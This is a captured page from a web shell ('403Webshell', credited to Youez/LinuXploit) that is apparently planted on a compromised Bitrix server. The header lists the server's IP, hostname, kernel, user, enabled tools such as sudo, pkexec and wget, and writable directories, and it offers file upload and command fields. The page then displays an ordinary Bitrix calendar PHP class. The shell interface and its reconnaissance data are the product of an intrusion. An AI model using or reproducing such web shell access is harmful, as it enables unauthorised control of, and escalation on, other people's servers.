403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/internals/eventmanager/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/internals/eventmanager/baseevent.php
<?php

namespace Bitrix\Calendar\Internals\EventManager;

use Bitrix\Calendar\Core\Common;
use Bitrix\Calendar\Internals\EventManager\EventSubscriber\EventSubscriberInterface;
use Bitrix\Main\DI\ServiceLocator;
use Bitrix\Main\Event;
use Bitrix\Main\EventResult;

abstract class BaseEvent
{
	protected static array $subscribers = [];

	/**
	 * @return EventResult[]
	 */
	public function emit(): array
	{
		foreach ($this->getSubscribers() as $subscriber)
		{
			self::$subscribers[$this::getEventType()] ??= [];

			if (!empty(self::$subscribers[$this::getEventType()][$subscriber::class]))
			{
				continue;
			}

			ServiceLocator::getInstance()->get(EventManagerInterface::class)->addEventHandler(
				fromModuleId: $this::getModuleId(),
				eventType: $this::getEventType(),
				callback: $subscriber,
			);

			self::$subscribers[$this::getEventType()][$subscriber::class] = $subscriber::class;
		}

		return $this->send($this->buildEvent());
	}

	protected function send(Event $event): array
	{
		/** @var EventManagerInterface $eventManager */
		$eventManager = ServiceLocator::getInstance()->get(EventManagerInterface::class);
		$eventManager->send($event);

		return $event->getResults();
	}

	protected function buildEvent(): Event
	{
		return new Event($this::getModuleId(), $this::getEventType(), $this->getEventParams());
	}

	public static function getModuleId(): string
	{
		return Common::CALENDAR_MODULE_ID;
	}

	abstract public static function getEventType(): string;

	abstract protected function getEventParams(): array;

	/**
	 * @return EventSubscriberInterface[]
	 */
	protected function getSubscribers(): array
	{
		return [];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit